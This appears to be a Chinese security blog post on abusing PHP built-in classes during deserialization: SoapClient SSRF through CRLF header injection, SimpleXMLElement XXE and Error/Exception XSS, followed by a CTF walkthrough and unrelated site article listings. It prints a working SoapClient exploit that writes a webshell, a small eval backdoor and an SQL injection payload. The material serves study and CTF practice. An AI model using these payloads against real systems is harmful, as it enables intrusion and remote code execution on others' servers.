前言:

  这篇文章主要对一些可以进行反序列化的php内置类的分析总结(膜lemon师傅之前的总结),当然不是所有的php内置类在存在反序列化漏洞时都能够直接利用,有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候,DirectoryIterator主要用来输出目录,用法如下图

1.Soapclient

soapclient有两种工作模式,wsdl和非wsdl模式,WSDL 用来描述如何访问具体的接口,soap协议的具体格式可以参考这篇文章,soap采用http或者https协议发送数据,并且在http header头中通过soap action来标示自己是一个soap请求

https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html

如果是在非wsdl模式下,将可以通过指定配置选项location和url来进行网络请求的发送,那就意味着我们可以通过该内置类来进行ssrf,当然需要有反序化条件为基础,通过触发其__call方法来发送网络请求,为啥要调用call方法来触发,我看了看php的源码,在ext/soap扩展里面发现了如下:

首先定位到定义__call方法的函数处,php源码定义某个方法是通过php_method前缀

然后调用了do_soap_call方法

然后就通过php源码中的do_request方法来发送网络请求

exp(来自wupco师傅):

  1. <?php
  2. $target = 'http://127.0.0.1/test.php';
  3. $post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
  4. $headers = array(
  5. 'X-Forwarded-For: 127.0.0.1',
  6. 'Cookie: xxxx=1234'
  7. );
  8. $b = new SoapClient(null,array('location' => $target,
    'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,
  1. 'uri'=> "aaab"));
  1. //因为user-agent是可以控制的,因此可以利用crlf注入http头来发送post请求
  1. $aaa = serialize($b);
  2. $aaa = str_replace('^^','%0d%0a',$aaa);
  3. $aaa = str_replace('&','%26',$aaa);
  4.  
  5. $c=unserialize(urldecode($aaa));
  6. $c->ss(); //调用_call方法触发网络请求发送
  7. ?>
  1. <?php
  2. if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
  3. echo 'hi';
  4. @$a=$_POST[1];
  5. @eval($a);
  6.  
  7. }
  8. ?>

执行exp后已经成功写入shell.php,说明反序列化soapclient对象成功,并且网站也是有权限写进去的,所以还是要对反序列化的数据进行严格过滤

如果是GET请求,就简单得多,只需要构造好location就可以

暨南大学2018校赛的一道CTF题

要利用反序列化soapclient当然要求服务器上的php开启了soap扩展,那么题目中给了phpinfo,可以看到soap是开启的,实际渗透测试中遇到反序列化的点,可以用exp盲打

给了两个php的源码:

index.php

  1. <?php
  2.  
  3. ini_set('display_errors', 1);
  4. ini_set('display_startup_errors', 1);
  5. error_reporting(-1);
  6.  
  7. class Auth {
  8. public $username = '';
  9. public $login = 0;
  10.  
  11. public function verify() {
  12. return 'FALSE';
  13. }
  14. }
  15.  
  16. ?>
  17. <!DOCTYPE html>
  18. <html>
  19. <head>
  20. <title>Login</title>
  21. </head>
  22. <body>
  23. <h1>Login</h1>
  24. <form action="" method="POST">
  25. <table>
  26. <tr>
  27. <td>Username</td>
  28. <td><input type="text" name="username"></td>
  29. </tr>
  30. <tr>
  31. <td>Password</td>
  32. <td><input type="password" name="password"></td>
  33. </tr>
  34. <tr>
  35. <td>Remember me <input type="checkbox" name="rememberme"></td>
  36. <td><input type="submit" value="Submit"></td>
  37. </tr>
  38. </table>
  39. </form>
  40. <p>
  41. <?php
  42.  
  43. if (isset($_POST['username'])) {
  44. $auth = new Auth();
  45. $auth->username = $_POST['username'];
  46. setcookie('auth', base64_encode(serialize($auth)));
  47. } elseif (isset($_COOKIE['auth'])) {
  48. $auth = unserialize(base64_decode($_COOKIE['auth']));
  49. }
  50.  
  51. if (isset($auth)) {
  52. echo $auth->verify();
  53. }
  54.  
  55. ?>
  56. </p>
  57. </body>
  58. </html>

sqldebug.php

  1. <?php
  2. include_once('db.php');
  3.  
  4. if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
  5. die('you need to be 127.0.0.1');
  6. }
  7.  
  8. $uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
  9. if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
  10. die('NONONO!');
  11. }
  12.  
  13. $db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);
  14.  
  15. $sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";
  16.  
  17. $result = $db->query($sql);
  18. $result = $result->fetch_assoc();
  19. echo $result[COLUMN_USERNAME];
  20.  
  21. mysqli_close($db);
  22. ?>

这里的$uid过滤不严格,导致可以注入,比如最简单的payload就为:

  1. $location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23 #将location替换即可

后面注入细节不再说了,具体注入分析见:

https://xz.aliyun.com/t/2960#toc-0

2.SimpleXMLElement

具体就是利用实例化该类的对象来传入xml代码进行xxe攻击

https://www.vulnspy.com/cn-ripstech-presents-php-security-calendar-2017/#M-tbRemYKdmb5mr4dRCndhHCM5YaFRaRf8

3.利用魔术方法__toString

a.Error----适用于php7版本----XSS

b.Exception----适用于php5、7版本----XSS

两个用法见lemon师傅博客https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

参考(侵删):

https://xz.aliyun.com/t/2960#toc-0

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

关于PHP内部类的一些总结学习的更多相关文章

  1. 回顾一年的IT学习历程与大学生活

    今天是2015年8月27日,距离成为大三狗还有一个多星期,在这个不算繁忙的暑假的下午来总结一下这一年来,在IT方面的学习. 一.入门(2014.3) 我大一的专业是信息工程,信息工程听上去就是信息(I ...

  2. Java 内部类分析

    一.简介 因为现在是Android开发实习生.发现在发展过程中越来越多,但他们知道什么时候该使用真实的情况,但没有获得,例如,使用内部类,因此,学习和自己的总结后发现,通过互联网的信息,家分享,如有不 ...

  3. JAVA基础——内部类详解

    JAVA内部类详解 在我的另一篇java三大特性的封装中讲到java内部类的简单概要,这里将详细深入了解java内部类的使用和应用. 我们知道内部类可分为以下几种: 成员内部类 静态内部类 方法内部类 ...

  4. “全栈2019”Java第九十六章:抽象局部内部类详解

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  5. 20155235 2016-2017-1 《Java程序设计》第3周学习总结

    20155235 2016-2017-1 <Java程序设计>第3周学习总结 教材学习内容总结 第四章 认识对象 类与对象 定义类 使用标准类 对象指定与相等性 基本类型打包器 打包基本类 ...

  6. “全栈2019”Java第六十七章:内部类、嵌套类详解

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  7. 小白学Java:内部类

    目录 小白学Java:内部类 内部类的分类 成员内部类 局部内部类 静态内部类 匿名内部类 内部类的继承 内部类有啥用 小白学Java:内部类 内部类是封装的一种形式,是定义在类或接口中的类. 内部类 ...

  8. Java并发包源码学习系列:ReentrantReadWriteLock读写锁解析

    目录 ReadWriteLock读写锁概述 读写锁案例 ReentrantReadWriteLock架构总览 Sync重要字段及内部类表示 写锁的获取 void lock() boolean writ ...

  9. 2018年秋季学期面向对象程序设计(JAVA)课程总结

    2018年秋季学期面向对象程序设计(JAVA)课程总结 时值2018年年末,按惯例对本学期教学工作小结如下: 1. 教学资源与教学辅助平台 教材:凯 S.霍斯特曼 (Cay S. Horstmann) ...

随机推荐

  1. 使用SSH连接AWS服务器

    使用SSH连接AWS服务器 一直有一台AWS云主机,但是之前在Windows平台都是使用Xshell连接的,换到Ubuntu环境之后还没有试,昨天试了一下,终于使用SSH连接成功了,这里记录一下步骤: ...

  2. vue-loading图

    父组件给子组件src地址: columns(){ return [ {'title': '图片', 'key': 'img', render(h, {row}){ return h(LoadingIm ...

  3. Java高并发程序设计学习笔记(七):并行设计模式

    转自:https://blog.csdn.net/dataiyangu/article/details/87123586 什么是设计模式架构模式设计模式代码模式(成例 Idiom)单例模式普通单例假如 ...

  4. ChinaCock打印控件介绍-TCCFujitsuPrinter实现蓝牙针式打印

    项目中遇到,要蓝牙针式打印机,用手机打印表单.感谢专家,对厂家提供的SDK进行了封装,实现利用Delphi开发出这一功能. 现在来看看,如何利用这一控件实现打印过程: procedure startS ...

  5. JDBC概述及JDBC完成对Oracle的增删改查

    什么是JDBC JDBC(Java Data Base Connectivity,Java数据库连接),是一种用于执行SQL语句的Java API,为多种关系数据库提供统一访问.它由一组用Java语言 ...

  6. ARM cortex-version

    cortex-M\A\R M microcontroller 微控制器   就是单片机 A application    应用及处理器   就是手机平板电脑等 R realtime 实时处理器  响应 ...

  7. bug的全部

    BUG 的生命周期 BUG 的生命周期 Bug-->软件程序的漏洞或缺陷 Bug 的类型:代码错误.设计缺陷.界面优化.性能问题.配置相关.安装部署.安全相关.标准规划.测试脚本....其他(功 ...

  8. 开源框架相关面试问题-butterknife注解框架面试问题讲解

    butterknife使用简介: 它的出现主要是为了解决咱们在android开发中会写大量的findViewById().setOnClickListener()这样的索然无味的代码,其实它就是一个依 ...

  9. sql 183. 从不订购的客户

    SQL架构 某网站包含两个表,Customers 表和 Orders 表.编写一个 SQL 查询,找出所有从不订购任何东西的客户. Customers 表: +----+-------+ | Id | ...

  10. 打成jar包运行,依然可以找到指定路径的xml

    今天遇到一个问题,解决了就想着记下来 无效: getClass().getClassLoader().getResource("ehcache.xml").getPath() 有效 ...